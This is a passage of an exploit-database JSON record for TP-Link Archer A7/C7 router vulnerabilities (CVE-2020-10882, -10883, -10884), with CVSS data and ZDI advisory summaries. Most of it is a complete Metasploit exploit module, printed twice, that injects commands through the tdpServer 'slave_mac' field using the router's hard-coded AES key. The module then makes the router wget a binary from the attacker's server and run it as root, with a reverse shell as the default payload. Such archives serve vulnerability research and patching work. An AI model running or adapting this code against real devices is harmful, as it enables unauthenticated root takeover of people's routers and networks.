"PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10883"], "modified": "2020-04-15T21:15:00", "cpe": ["cpe:/o:tp-link:ac1750_firmware:190726"], "id": "CVE-2020-10883", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-10883", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:tp-link:ac1750_firmware:190726:*:*:*:*:*:*:*"]}], "packetstorm": [{"lastseen": "2020-04-20T07:52:00", "description": "", "published": "2020-04-15T00:00:00", "type": "packetstorm", "title": "TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-10882", "CVE-2020-10884", "CVE-2020-10883"], "modified": "2020-04-15T00:00:00", "id": "PACKETSTORM:157255", "href": "https://packetstormsecurity.com/files/157255/TP-Link-Archer-A7-C7-Unauthenticated-LAN-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'openssl' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::Remote::Udp \ninclude Msf::Exploit::Remote::HttpServer \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution', \n'Description' => %q{ \nThis module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on \nthe router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726. \nThe vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does \nnot need any authentication to abuse it. After exploitation, an attacker will be able to execute any command \nas root, including downloading and executing a binary from another host. \nThis vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro + \nRadek Domanski). \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module \n'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module \n], \n'References' => \n[ \n[ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'], \n[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'], \n[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'], \n[ 'CVE', '2020-10882'], \n[ 'CVE', '2020-10883'], \n[ 'CVE', '2020-10884'], \n[ 'ZDI', '20-334'], \n[ 'ZDI', '20-335'], \n[ 'ZDI', '20-336' ] \n], \n'Privileged' => true, \n'Platform' => 'linux', \n'Arch' => ARCH_MIPSBE, \n'Payload' => {}, \n'Stance' => Msf::Exploit::Stance::Aggressive, \n'DefaultOptions' => \n{ \n'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp', \n'WfsDelay' => 15, \n}, \n'Targets' => \n[ \n[ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ] \n], \n'DisclosureDate' => \"Mar 25 2020\", \n'DefaultTarget' => 0, \n) \n) \nregister_options( \n[ \nOpt::RPORT(20002) \n]) \n \nregister_advanced_options( \n[ \nOptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15]) \n]) \nend \n \ndef check \nbegin \nres = send_request_cgi({ \n'uri' => '/webpages/app.1564127413977.manifest', \n'method' => 'GET', \n'rport' => 80 \n}) \n \nif res && res.code == 200 \nreturn Exploit::CheckCode::Vulnerable \nend \nrescue ::Rex::ConnectionError \npass \nend \nreturn Exploit::CheckCode::Unknown \nend \n \ndef calc_checksum(packet) \n# reference table used to calculate the packet checksum \n# used by tdpd_pkt_calc_checksum (0x4037f0) \n# located at offset 0x0416e90 in the binary \nreference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee, \n0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4, \n0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79, \n0xd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xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae, \n0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd, \n0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3, \n0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23, \n0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b, \n0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a, \n0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d] \n \nres = 0xffffffff \n \n# main checksum calculation \npacket.each_entry { |c| \nindex = ((c ^ res) & 0xff) * 4 \n# .reverse is needed as the target is big endian \nref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first) \nres = ref ^ (res >> 8) \n} \n \nchecksum = ~res \nchecksum_s = [(checksum)].pack('I>').force_encoding(\"ascii\") \n \n# convert back to string \npacket = packet.pack('C*').force_encoding('ascii') \n \n# and replace the checksum \npacket[12] = checksum_s[0] \npacket[13] = checksum_s[1] \npacket[14] = checksum_s[2] \npacket[15] = checksum_s[3] \n \npacket \nend \n \ndef aes_encrypt(plaintext) \n# Function encrypts perfectly 16 bytes aligned payload \n \nif (plaintext.length % 16 != 0) \nreturn \nend \n \ncipher = OpenSSL::Cipher.new 'AES-128-CBC' \n# in the original C code the key and IV are 256 bits long... but they still use AES-128 \niv = \"1234567890abcdef\" \nkey = \"TPONEMESH_Kf!xn?\" \nencrypted = '' \ncipher.encrypt \ncipher.iv = iv \ncipher.key = key \n \n# Take each 16 bytes block and encrypt it \nplaintext.scan(/.{1,16}/) { |block| \nencrypted += cipher.update(block) \n} \n \nencrypted \nend \n \ndef create_injection(c) \n# Template for the command injection \n# The injection happens at \"slave_mac\" (read advisory for details) \n# The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions. \n \n# This will fail if we send a command with single quotes (') \n# ... but that's not a problem for this module, since we don't use them for our command. \n# It might also fail with double quotes (\") since this will break the JSON... \ninject = \"\\';printf \\'#{c}\\'>>#{@cmd_file}\\'\" \n \ntemplate = \"{\\\"method\\\":\\\"slave_key_offer\\\",\\\"data\\\":{\"\\ \n\"\\\"group_id\\\":\\\"#{rand_text_numeric(1..3)}\\\",\"\\ \n\"\\\"ip\\\":\\\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\\\",\"\\ \n\"\\\"slave_mac\\\":\\\"%{INJECTION}\\\",\"\\ \n\"\\\"slave_private_account\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\ \n\"\\\"slave_private_password\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\ \n\"\\\"want_to_join\\\":false,\"\\ \n\"\\\"model\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\ \n\"\\\"product_type\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\ \n\"\\\"operation_mode\\\":\\\"A%{PADDING}\\\"}}\" \n \n# This is required to calculate exact template length without replace flags \ntemplate_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length \n# This has to be initialized to cover the situation when no padding is needed \npad = '' \npadding = rand_text_alpha(16) \n \ntemplate_len += inject.length \n \n# Calculate pad if padding is needed \nif (template_len % 16 != 0) \npad = padding[0..15-(template_len % 16)] \nend \n \n# Here the final payload is created \ntemplate % {INJECTION:\"#{inject}\", PADDING:\"#{pad}\"} \nend \n \ndef update_len_field(packet, payload_length) \nnew_packet = packet[0..3] \nnew_packet += [payload_length].pack(\"S>\") \nnew_packet += packet[6..-1] \nend \n \ndef exec_cmd_file(packet) \n# This function handles special action of exec \n# Returns new complete tpdp packet \ninject = \"\\';sh #{@cmd_file}\\'\" \npayload = create_injection(inject) \n \nciphertext = aes_encrypt(payload) \nif not ciphertext \nfail_with(Failure::Unknown, \"#{peer} - Failed to encrypt packet!\") \nend \n \nnew_packet = packet[0..15] \nnew_packet += ciphertext \nnew_packet = update_len_field(new_packet, ciphertext.length) \n \ncalc_checksum(new_packet.bytes) \nend \n \n# Handle incoming requests from the router \ndef on_request_uri(cli, request) \nprint_good(\"#{peer} - Sending executable to the router\") \nprint_good(\"#{peer} - Sit back and relax, Shelly will come visit soon!\") \nsend_response(cli, @payload_exe) \n@payload_sent = true \nend \n \ndef exploit \nif (datastore['SRVHOST'] == \"0.0.0.0\" or datastore['SRVHOST'] == \"::\") \nfail_with(Failure::Unreachable, \"#{peer} - Please specify the LAN IP address of this computer in SRVHOST\") \nend \n \nif datastore['SSL'] \nfail_with(Failure::Unknown, \"SSL is not supported on this target, please disable it\") \nend \n \nprint_status(\"Attempting to exploit #{target.name}\") \n \ntpdp_packet_template = \n[0x01].pack('C*') + # packet version, fixed to 1 \n[0xf0].pack('C*') + # set packet type to 0xf0 (onemesh) \n[0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table \n[0x00].pack('S>*') + # packet len \n[0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function \n[0x00].pack('C*') + # dunno what this is \n[rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value \n[0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder \n \nsrv_host = datastore['SRVHOST'] \nsrv_port = datastore['SRVPORT'] \n@cmd_file = rand_text_alpha_lower(1) \n \n# generate our payload executable \n@payload_exe = generate_payload_exe \n \n# Command that will download @payload_exe and execute it \ndownload_cmd = \"wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}\" \n \nhttp_service = 'http://' + srv_host + ':' + srv_port.to_s \nprint_status(\"Starting up our web service on #{http_service} ...\") \nstart_service({'Uri' => { \n'Proc' => Proc.new { |cli, req| \non_request_uri(cli, req) \n}, \n'Path' => \"/#{@cmd_file}\" \n}}) \n \nprint_status(\"#{peer} - Connecting to the target\") \nconnect_udp \n \nprint_status(\"#{peer} - Sending command file byte by byte\") \nprint_status(\"#{peer} - Command: #{download_cmd}\") \nmod = download_cmd.length / 5 \n \ndownload_cmd.each_char.with_index { |c, index| \n# Generate payload \npayload = create_injection(c) \nif not payload \nfail_with(Failure::Unknown, \"#{peer} - Failed to setup download command!\") \nend \n \n# Encrypt payload \nciphertext = aes_encrypt(payload) \nif not ciphertext \nfail_with(Failure::Unknown, \"#{peer} - Failed to encrypt packet!\") \nend \n \ntpdp_packet = tpdp_packet_template.dup \ntpdp_packet += ciphertext \ntpdp_packet = update_len_field(tpdp_packet, ciphertext.length) \ntpdp_packet = calc_checksum(tpdp_packet.bytes) \n \nudp_sock.put(tpdp_packet) \n \n# Sleep to make sure the payload is processed by a target \nRex.sleep(1) \n \n# Print progress \nif ((index+1) % mod == 0) \npercentage = 20 * ((index+1) / mod) \n# very advanced mathemathics in use here to show the progress bar \nprint_status(\"#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]\") \nif percentage == 100 \n# a bit of cheating to get the last char done right \nindex = -2 \nend \n#print_status(\"#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}\") \nend \n} \n \n# Send the exec command. From here we should receive the connection \nprint_status(\"#{peer} - Command file sent, attempting to execute...\") \ntpdp_packet = exec_cmd_file(tpdp_packet_template.dup) \nudp_sock.put(tpdp_packet) \n \ntimeout = 0 \nwhile not @payload_sent \nRex.sleep(1) \ntimeout += 1 \nif timeout == datastore['MAX_WAIT'].to_i \nfail_with(Failure::Unknown, \"#{peer} - Timeout reached! Payload was not downloaded :(\") \nend \nend \n \ndisconnect_udp \nend \nend \n`\n", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/157255/tplink_archer_a7_c7_lan_rce.rb.txt"}], "zdt": [{"lastseen": "2020-07-20T03:52:54", "description": "This Metasploit module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726. The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command as root, including downloading and executing a binary from another host. This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team.", "edition": 1, "published": "2020-04-16T00:00:00", "title": "TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-10882", "CVE-2020-10884", "CVE-2020-10883"], "modified": "2020-04-16T00:00:00", "id": "1337DAY-ID-34250", "href": "https://0day.today/exploit/description/34250", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'openssl'\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::Remote::Udp\r\n include Msf::Exploit::Remote::HttpServer\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info = {})\r\n super(\r\n update_info(\r\n info,\r\n 'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',\r\n 'Description' => %q{\r\n This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on\r\n the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.\r\n The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does\r\n not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command\r\n as root, including downloading and executing a binary from another host.\r\n This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +\r\n Radek Domanski).\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module\r\n 'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module\r\n ],\r\n 'References' =>\r\n [\r\n [ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],\r\n [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],\r\n [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],\r\n [ 'CVE', '2020-10882'],\r\n [ 'CVE', '2020-10883'],\r\n [ 'CVE', '2020-10884'],\r\n [ 'ZDI', '20-334'],\r\n [ 'ZDI', '20-335'],\r\n [ 'ZDI', '20-336' ]\r\n ],\r\n 'Privileged' => true,\r\n 'Platform' => 'linux',\r\n 'Arch' => ARCH_MIPSBE,\r\n 'Payload' => {},\r\n 'Stance' => Msf::Exploit::Stance::Aggressive,\r\n 'DefaultOptions' =>\r\n {\r\n 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',\r\n 'WfsDelay' => 15,\r\n },\r\n 'Targets' =>\r\n [\r\n [ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]\r\n ],\r\n 'DisclosureDate' => \"Mar 25 2020\",\r\n 'DefaultTarget' => 0,\r\n )\r\n )\r\n register_options(\r\n [\r\n Opt::RPORT(20002)\r\n ])\r\n\r\n register_advanced_options(\r\n [\r\n OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])\r\n ])\r\n end\r\n\r\n def check\r\n begin\r\n res = send_request_cgi({\r\n 'uri' => '/webpages/app.1564127413977.manifest',\r\n 'method' => 'GET',\r\n 'rport' => 80\r\n })\r\n\r\n if res && res.code == 200\r\n return Exploit::CheckCode::Vulnerable\r\n end\r\n rescue ::Rex::ConnectionError\r\n pass\r\n end\r\n return Exploit::CheckCode::Unknown\r\n end\r\n\r\n def calc_checksum(packet)\r\n # reference table used to calculate the packet checksum\r\n # used by tdpd_pkt_calc_checksum (0x4037f0)\r\n # located at offset 0x0416e90 in the binary\r\n reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,\r\n 0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,\r\n 0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,\r\n 0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,\r\n 0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,\r\n 0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,\r\n 0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,\r\n 0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,\r\n 0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,\r\n 0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10,\r\n 0x5e, 0xd5, 0x60, 0x41, 0xe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x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,\r\n 0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d]\r\n\r\n res = 0xffffffff\r\n\r\n # main checksum calculation\r\n packet.each_entry { |c|\r\n index = ((c ^ res) & 0xff) * 4\r\n # .reverse is needed as the target is big endian\r\n ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)\r\n res = ref ^ (res >> 8)\r\n }\r\n\r\n checksum = ~res\r\n checksum_s = [(checksum)].pack('I>').force_encoding(\"ascii\")\r\n\r\n # convert back to string\r\n packet = packet.pack('C*').force_encoding('ascii')\r\n\r\n # and replace the checksum\r\n packet[12] = checksum_s[0]\r\n packet[13] = checksum_s[1]\r\n packet[14] = checksum_s[2]\r\n packet[15] = checksum_s[3]\r\n\r\n packet\r\n end\r\n\r\n def aes_encrypt(plaintext)\r\n # Function encrypts perfectly 16 bytes aligned payload\r\n\r\n if (plaintext.length % 16 != 0)\r\n return\r\n end\r\n\r\n cipher = OpenSSL::Cipher.new 'AES-128-CBC'\r\n # in the original C code the key and IV are 256 bits long... but they still use AES-128\r\n iv = \"1234567890abcdef\"\r\n key = \"TPONEMESH_Kf!xn?\"\r\n encrypted = ''\r\n cipher.encrypt\r\n cipher.iv = iv\r\n cipher.key = key\r\n\r\n # Take each 16 bytes block and encrypt it\r\n plaintext.scan(/.{1,16}/) { |block|\r\n encrypted += cipher.update(block)\r\n }\r\n\r\n encrypted\r\n end\r\n\r\n def create_injection(c)\r\n # Template for the command injection\r\n # The injection happens at \"slave_mac\" (read advisory for details)\r\n # The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.\r\n\r\n # This will fail if we send a command with single quotes (')\r\n # ... but that's not a problem for this module, since we don't use them for our command.\r\n # It might also fail with double quotes (\") since this will break the JSON...\r\n inject = \"\\';printf \\'#{c}\\'>>#{@cmd_file}\\'\"\r\n\r\n template = \"{\\\"method\\\":\\\"slave_key_offer\\\",\\\"data\\\":{\"\\\r\n \"\\\"group_id\\\":\\\"#{rand_text_numeric(1..3)}\\\",\"\\\r\n \"\\\"ip\\\":\\\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\\\",\"\\\r\n \"\\\"slave_mac\\\":\\\"%{INJECTION}\\\",\"\\\r\n \"\\\"slave_private_account\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\\r\n \"\\\"slave_private_password\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\\r\n \"\\\"want_to_join\\\":false,\"\\\r\n \"\\\"model\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\\r\n \"\\\"product_type\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\\r\n \"\\\"operation_mode\\\":\\\"A%{PADDING}\\\"}}\"\r\n\r\n # This is required to calculate exact template length without replace flags\r\n template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length\r\n # This has to be initialized to cover the situation when no padding is needed\r\n pad = ''\r\n padding = rand_text_alpha(16)\r\n\r\n template_len += inject.length\r\n\r\n # Calculate pad if padding is needed\r\n if (template_len % 16 != 0)\r\n pad = padding[0..15-(template_len % 16)]\r\n end\r\n\r\n # Here the final payload is created\r\n template % {INJECTION:\"#{inject}\", PADDING:\"#{pad}\"}\r\n end\r\n\r\n def update_len_field(packet, payload_length)\r\n new_packet = packet[0..3]\r\n new_packet += [payload_length].pack(\"S>\")\r\n new_packet += packet[6..-1]\r\n end\r\n\r\n def exec_cmd_file(packet)\r\n # This function handles special action of exec\r\n # Returns new complete tpdp packet\r\n inject = \"\\';sh #{@cmd_file}\\'\"\r\n payload = create_injection(inject)\r\n\r\n ciphertext = aes_encrypt(payload)\r\n if not ciphertext\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to encrypt packet!\")\r\n end\r\n\r\n new_packet = packet[0..15]\r\n new_packet += ciphertext\r\n new_packet = update_len_field(new_packet, ciphertext.length)\r\n\r\n calc_checksum(new_packet.bytes)\r\n end\r\n\r\n # Handle incoming requests from the router\r\n def on_request_uri(cli, request)\r\n print_good(\"#{peer} - Sending executable to the router\")\r\n print_good(\"#{peer} - Sit back and relax, Shelly will come visit soon!\")\r\n send_response(cli, @payload_exe)\r\n @payload_sent = true\r\n end\r\n\r\n def exploit\r\n if (datastore['SRVHOST'] == \"0.0.0.0\" or datastore['SRVHOST'] == \"::\")\r\n fail_with(Failure::Unreachable, \"#{peer} - Please specify the LAN IP address of this computer in SRVHOST\")\r\n end\r\n\r\n if datastore['SSL']\r\n fail_with(Failure::Unknown, \"SSL is not supported on this target, please disable it\")\r\n end\r\n\r\n print_status(\"Attempting to exploit #{target.name}\")\r\n\r\n tpdp_packet_template =\r\n [0x01].pack('C*') + # packet version, fixed to 1\r\n [0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)\r\n [0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table\r\n [0x00].pack('S>*') + # packet len\r\n [0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function\r\n [0x00].pack('C*') + # dunno what this is\r\n [rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value\r\n [0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder\r\n\r\n srv_host = datastore['SRVHOST']\r\n srv_port = datastore['SRVPORT']\r\n @cmd_file = rand_text_alpha_lower(1)\r\n\r\n # generate our payload executable\r\n @payload_exe = generate_payload_exe\r\n\r\n # Command that will download @payload_exe and execute it\r\n download_cmd = \"wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}\"\r\n\r\n http_service = 'http://' + srv_host + ':' + srv_port.to_s\r\n print_status(\"Starting up our web service on #{http_service} ...\")\r\n start_service({'Uri' => {\r\n 'Proc' => Proc.new { |cli, req|\r\n on_request_uri(cli, req)\r\n },\r\n 'Path' => \"/#{@cmd_file}\"\r\n }})\r\n\r\n print_status(\"#{peer} - Connecting to the target\")\r\n connect_udp\r\n\r\n print_status(\"#{peer} - Sending command file byte by byte\")\r\n print_status(\"#{peer} - Command: #{download_cmd}\")\r\n mod = download_cmd.length / 5\r\n\r\n download_cmd.each_char.with_index { |c, index|\r\n # Generate payload\r\n payload = create_injection(c)\r\n if not payload\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to setup download command!\")\r\n end\r\n\r\n # Encrypt payload\r\n ciphertext = aes_encrypt(payload)\r\n if not ciphertext\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to encrypt packet!\")\r\n end\r\n\r\n tpdp_packet = tpdp_packet_template.dup\r\n tpdp_packet += ciphertext\r\n tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)\r\n tpdp_packet = calc_checksum(tpdp_packet.bytes)\r\n\r\n udp_sock.put(tpdp_packet)\r\n\r\n # Sleep to make sure the payload is processed by a target\r\n Rex.sleep(1)\r\n\r\n # Print progress\r\n if ((index+1) % mod == 0)\r\n percentage = 20 * ((index+1) / mod)\r\n # very advanced mathemathics in use here to show the progress bar\r\n print_status(\"#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]\")\r\n if percentage == 100\r\n # a bit of cheating to get the last char done right\r\n index = -2\r\n end\r\n #print_status(\"#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}\")\r\n end\r\n }\r\n\r\n # Send the exec command. From here we should receive the connection\r\n print_status(\"#{peer} - Command file sent, attempting to execute...\")\r\n tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)\r\n udp_sock.put(tpdp_packet)\r\n\r\n timeout = 0\r\n while not @payload_sent\r\n Rex.sleep(1)\r\n timeout += 1\r\n if timeout == datastore['MAX_WAIT'].to_i\r\n fail_with(Failure::Unknown, \"#{peer} - Timeout reached! Payload was not downloaded :(\")\r\n end\r\n end\r\n\r\n disconnect_udp\r\n end\r\nend\n\n# 0day.today [2020-07-20] #", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://0day.today/exploit/34250"}], "zdi": [{"lastseen": "2020-06-22T11:42:33", "bulletinFamily": "info", "cvelist": ["CVE-2020-10884"], "description": "This vulnerability allows network-adjacent attackers execute arbitrary code on affected installations of TP-Link Archer A7 AC1750 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. This issue results from the use of hard-coded encryption key. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root.", "edition": 1, "modified": "2020-06-22T00:00:00", "published": "2020-03-25T00:00:00", "id": "ZDI-20-336", "href": "https://www.zerodayinitiative.com/advisories/ZDI-20-336/", "title": "(Pwn2Own) TP-Link Archer A7 tdpServer Use of Hard-coded Cryptographic Key Remote Code Execution Vulnerability", "type": "zdi", "cvss": {"score": 5.8, "vector": "AV:A/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-06-22T11:42:26", "bulletinFamily": "info", "cvelist": ["CVE-2020-10882"], "description": "This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Archer A7 AC1750 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. When parsing the slave_mac parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the root user.", "edition": 1, "modified": "2020-06-22T00:00:00", "published": "2020-03-25T00:00:00", "id": "ZDI-20-334", "href": "https://www.zerodayinitiative.com/advisories/ZDI-20-334/", "title": "(Pwn2Own) TP-Link Archer A7 tdpServer Command Injection Remote Code Execution Vulnerability", "type": "zdi", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-22T11:42:22", "bulletinFamily": "info", "cvelist": ["CVE-2020-10883"], "description": "This vulnerability allows local attackers to escalate privileges on affected installations of TP-Link Archer A7 AC1750 routers. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the file system. The issue lies in the lack of proper permissions set on the file system. An attacker can leverage this vulnerability to escalate privileges.", "edition": 1, "modified": "2020-06-22T00:00:00", "published": "2020-03-25T00:00:00", "id": "ZDI-20-335", "href": "https://www.zerodayinitiative.com/advisories/ZDI-20-335/", "title": "(Pwn2Own) TP-Link Archer A7 File System Incorrect Permission Assignment for Critical Resource Privilege Escalation Vulnerability", "type": "zdi", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}]}